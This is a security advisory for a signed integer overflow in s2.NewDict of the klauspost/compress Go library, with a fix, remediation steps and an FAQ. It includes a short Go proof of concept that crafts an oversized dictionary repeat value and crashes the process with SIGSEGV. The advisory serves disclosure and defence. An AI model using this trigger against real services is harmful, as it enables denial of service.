GHSA-259r-337f-4rfw: Integer Overflow
Signed Integer Overflow in s2.NewDict
Summary
A signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV.
Package
- Name: github.com/klauspost/compress/s2 - Ecosystem: Go - Affected versions: <= v1.18.6 (all versions with NewDict function)
Severity
High (7.5) — CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Vulnerability
Type - CWE-190: Integer Overflow or Wraparound - CWE-787: Out-of-bounds Write (via unsafe.Pointer)
Description
The NewDict() function reads a uvarint from dictionary data and converts it to int:
go r, n := binary.Uvarint(dict) // ... d.repeat = int(r) if d.repeat > len(dict) { return nil }
When r exceeds MaxInt64 (9223372036854775807), int(r) overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.
When Dict.Encode() is called, the negative repeat value causes an integer overflow in encodeBlockDictGo():
go repeat := len(dict.dict) - dict.repeat // overflows: 62 - (-5758978476775341977) = huge positive candidate := len(dict.dict) - repeat + s // underflows to negative load32(dict.dict, candidate) // OOB via unsafe.Pointer
load32 calls le.Load32 which uses unsafe.Pointer arithmetic without bounds checking:
go func Load32I Indexer uint32 { return (uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i)) }
This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.
PoC
go package main
import ( "encoding/binary" "fmt" "github.com/klauspost/compress/s2" )
func main() { var dictData []byte buf := make([]byte, binary.MaxVarintLen64) n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64 dictData = append(dictData, buf[:n]...) dictData = append(dictData, make([]byte, 16)...) // minimum dict size
dict := s2.NewDict(dictData) // dict is non-nil despite invalid repeat value (overflow bypassed validation)
src := make([]byte, 64) for i := range src { src[i] = byte(i) } dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer }
Impact
- Denial of Service: The process crashes immediately with SIGSEGV
Attack Vector
Any application that: 1. Accepts user-supplied S2 dictionary data via s2.NewDict() 2. Calls Dict.Encode() on any data ≥32 bytes
Suggested Fix
Validate the uvarint value before converting to int:
go if r > math.MaxInt64 { return nil } d.repeat = int(r)
Or use uint for the repeat field and validate against uint(len(dict)).
References
- Source: s2/dict.go lines 59-61 (vulnerability), s2/encodeall.go line 947 (crash site) - Commit: 539243b (v1.18.6 + 4 commits)
Credits Christopher Linke / https://github.com/celinke97/
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/klauspost/compressto a version that resolves this vulnerability.Fixed in 1.18.7 - Compensating control
In s2.NewDict(), validate the uvarint repeat value against math.MaxInt64 before converting it to int; alternatively use uint for the repeat field and validate it against uint(len(dict)).
Event History
Frequently Asked Questions
Which deployments are exposed?
Applications using github.com/klauspost/compress/s2 that call NewDict with attacker-controlled dictionary data and later call Dict.Encode are exposed. The affected range is v1.18.6 and earlier, including all versions containing the NewDict function.
What does an attacker need to trigger the issue?
An attacker needs to provide a dictionary containing a uvarint-encoded repeat value greater than MaxInt64. No privileges or user interaction are required according to the supplied CVSS vector.
What is the practical impact?
When the resulting dictionary is encoded, the overflowed repeat value can drive unsafe.Pointer arithmetic out of bounds and crash the process with SIGSEGV. The stated impact is availability loss; confidentiality and integrity impacts are not listed.